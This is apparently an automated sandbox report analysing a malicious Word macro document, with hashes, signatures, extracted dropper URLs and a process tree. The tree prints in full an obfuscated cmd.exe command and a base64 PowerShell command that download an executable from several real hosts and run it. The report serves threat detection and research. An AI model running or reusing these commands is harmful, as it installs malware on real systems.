Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 17:01

General

  • Target

    60360691a3bc70f784b9808e5f588932_JaffaCakes118.doc

  • Size

    84KB

  • MD5

    60360691a3bc70f784b9808e5f588932

  • SHA1

    aa5751a3aae4823c538bab6ba5e7644d37644d96

  • SHA256

    40029e84ba87ee6eea117098d608db25f571b5468bb5ed096b5b669bb7cf1ae0

  • SHA512

    e783b03d3b69a3cf95ef2c9dd298ed2ceb09558d773590a0a63702f74e56fda8683c4dd3b1c72819649e778b37c28362996fef322cbc383ec60e98cdffecbb24

  • SSDEEP

    1536:LptJlmrJpmxlRw99NB5+aWhG3ovbO4pTi1ocsUQ:Fte2dw99f4KobmacpQ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://news.digirook.com/OH7l

exe.dropper

http://mentorytraining.com/fnb9HH

exe.dropper

http://tatim.com.br/Nz8

exe.dropper

http://geocoal.co.za/MtFRoP

exe.dropper

http://fpw.com.my/zy

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\60360691a3bc70f784b9808e5f588932_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2368
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:632
      • C:\Windows\SysWOW64\CmD.exe
        CmD /V^:^oN^ ^ /C " SE^t ^ Mz=@o#2/^s^.2ll^ (2 ^J^ABQ^A^Hc^AR^#^A9^AG^4^AZQ^B^3AC0A^b^#B-AGoA^ZQ^B^jAHQAWA^BO^A^G^U^AdAAu^A)cA^Z^QB^-^AE^MA^b^AB^@AG^U^Abg^B0A^D^sAJAB^-^A)^Q^Aa^gA^9^ACcA^a^A^B^0AH^QAcAA6AC8^AL#^Bu^A^G^U^A^d^#BzAC4^AZ^AB@AGcAaQB^%^AG8^A^b#B/^AC4A^Y^#^Bv^A^G^0^AL^#^B^PA^E^g^A^`#^B^sAE^A^A^a^AB^0AH^QAc^A^A^6AC^8^AL^#B^t^A^G^UA^b^g^B0A^G^8Ac^g^B^iAHQ^Acg^B.^AG^'^A^b^gB^@AG^4^A^Z^#^A^uAG^MA^b^#^BtAC^8A^Z^gBu^AG^W^AO^Q^BW^AEg^AQ^AB^o^AHQ^Ad^A^B^#^AD^o^A^L^#^Av^AH^Q^AY^Q^B^0AG'^A^bQA^uA^G^M^A^b#B^tAC4AYgB^%^AC^8A^T^gB^6^ADg^A^QAB^o^AHQ^A^dA^B#ADo^AL^#Av^A^GcA^ZQ^BvA^G^MAb#^B.^AG#ALgB^jA^G^8^A^Lg^B6A^G^EAL^#B`AH^QARg^B^SA^G8^AUA^B^A^AGg^Ad^A^B^0^AH^A^A^O^g^AvAC^8AZg^B#^AHc^AL^gBj^A^G^8^A^bQ^A^uA^G^0A2QAvAHoA^2QAnAC^4^AU^#^B#A^G^#A^a^Q^B0ACg^A^J^#B^AACcAK^Q^A^7ACQ^Ad^#B^6A^HW^AW^A^A9ACA^A^J^#^A^1^ADc^A^`A^AnA^D^s^A^JA^BBA^G^0AY^#A^9ACQA^Z^QB^uAH^YA^Og^B^#^AHU^A^Y^gB^sA^G'AY#^A/^ACc^A^XAAn^ACsA^JAB3^AH^o^Ac^g^A/^ACcA^Lg^B^lA^H^g^AZ^QAnADsA^Z^gBvA^HWAZ^QB.A^GMAa^AA^o^AC^Q^AV#^BmAG^#^AW^AB@A^G4AWAA^'^AG^W^AV^ABq^AC'^A2#B0^AH^WA^2Q^B7^AC^Q^A^U^A^B^3A^EcAL^gBE^A^G8Ad^#B^uA^G^#^Ab^#^B^.A^GQ^AR^gB@^A^G^#AZQAo^ACQAV^#B^m^AG^#AL^AA^gACQA^QQB^t^AG^M^A^K^Q^A7^A)M^A^dAB.^A^H^W^A^dAAt^A)A^AcgBvAG^M^A^ZQB^z^A^H^MAW^AA^'^AE^EA^b^QB^j^AD^s^A^Yg^B^%^AGU^AY^QB/^ADs^Af^Q^BjA^G^EA^d^A^B^jAGg^A^2^#B9A^H^0^A^W^AA^gACAAWAA^g^ACA^A^WAAg^ACAAW^A^A^gAC^A^A^W^A^A^gAC^AA^WA^A^gA^A^==&Se^t ^ ^ ^QL=^!Mz:^i^=5!& S^Et ^ ^ ^ ^H^S=!^QL^:^-^=^i^!& s^Et ^ ^ ^ ^a^wR=!^H^S^:(=-^!& S^E^T ^Q^F^O=!^a^wR^:^W^=^I^!&s^E^t ^ ^H^8=!^Q^F^O^:^@^=p^!&& s^Et h^ev^D=!^H^8:`^=N^!&s^e^t ^mM=!^h^ev^D:/^=r!&& S^E^t ^ g^o=^!^m^M^:^#^=w^!&& s^et PK^H^l=!g^o:2=e!& SE^T ^ ^ ^g^p5V=^!^PK^H^l^:^'^=^k^!&&S^e^t ^ ^4^7V=!^g^p^5V^:%^=^y^!&& s^E^T ^ ^ ^Y2^6=^!^4^7V^:^.=^h^!&& S^E^T ^ ^ ^tV=^!^Y^2^6^:)=^F^!& c^al^l %^tV%"
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -e JABQAHcARwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABiAFQAagA9ACcAaAB0AHQAcAA6AC8ALwBuAGUAdwBzAC4AZABpAGcAaQByAG8AbwBrAC4AYwBvAG0ALwBPAEgANwBsAEAAaAB0AHQAcAA6AC8ALwBtAGUAbgB0AG8AcgB5AHQAcgBhAGkAbgBpAG4AZwAuAGMAbwBtAC8AZgBuAGIAOQBIAEgAQABoAHQAdABwADoALwAvAHQAYQB0AGkAbQAuAGMAbwBtAC4AYgByAC8ATgB6ADgAQABoAHQAdABwADoALwAvAGcAZQBvAGMAbwBhAGwALgBjAG8ALgB6AGEALwBNAHQARgBSAG8AUABAAGgAdAB0AHAAOgAvAC8AZgBwAHcALgBjAG8AbQAuAG0AeQAvAHoAeQAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAdwB6AHIAIAA9ACAAJwA1ADcANAAnADsAJABBAG0AYwA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJAB3AHoAcgArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAVwBmAGwAIABpAG4AIAAkAGIAVABqACkAewB0AHIAeQB7ACQAUAB3AEcALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBmAGwALAAgACQAQQBtAGMAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAEEAbQBjADsAYgByAGUAYQBrADsAfQBjAGEAdABjAGgAewB9AH0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA==
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1168

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      f46e8e2dbeb469a727e5421ec012d970

      SHA1

      bbf7cb6dda7fb42da83255b39f9b159061c6041d

      SHA256

      517736b8abb6f2027628028979168314ef367271cc2b38bd0bb28811af482e86

      SHA512

      9224e791ea34636645494d3b230d0fd50b736a1937a4f5ec80b01fe98c53146ec7822eb6ec5f4bf86888897b9a5819f97244ef75444b1698c6c5e7e43b489ffa

    • memory/2368-15-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-18-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-14-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-9-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-65-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-55-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-76-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-46-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-38-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-31-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-19-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-58-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-16-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-0-0x000000002FB11000-0x000000002FB12000-memory.dmp

      Filesize

      4KB

    • memory/2368-8-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-2-0x0000000070FAD000-0x0000000070FB8000-memory.dmp

      Filesize

      44KB

    • memory/2368-17-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-74-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-13-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-73-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-12-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-11-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-7-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-6-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-83-0x0000000070FAD000-0x0000000070FB8000-memory.dmp

      Filesize

      44KB

    • memory/2368-84-0x00000000002B0000-0x00000000003B0000-memory.dmp

      Filesize

      1024KB

    • memory/2368-99-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2368-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2368-100-0x0000000070FAD000-0x0000000070FB8000-memory.dmp

      Filesize

      44KB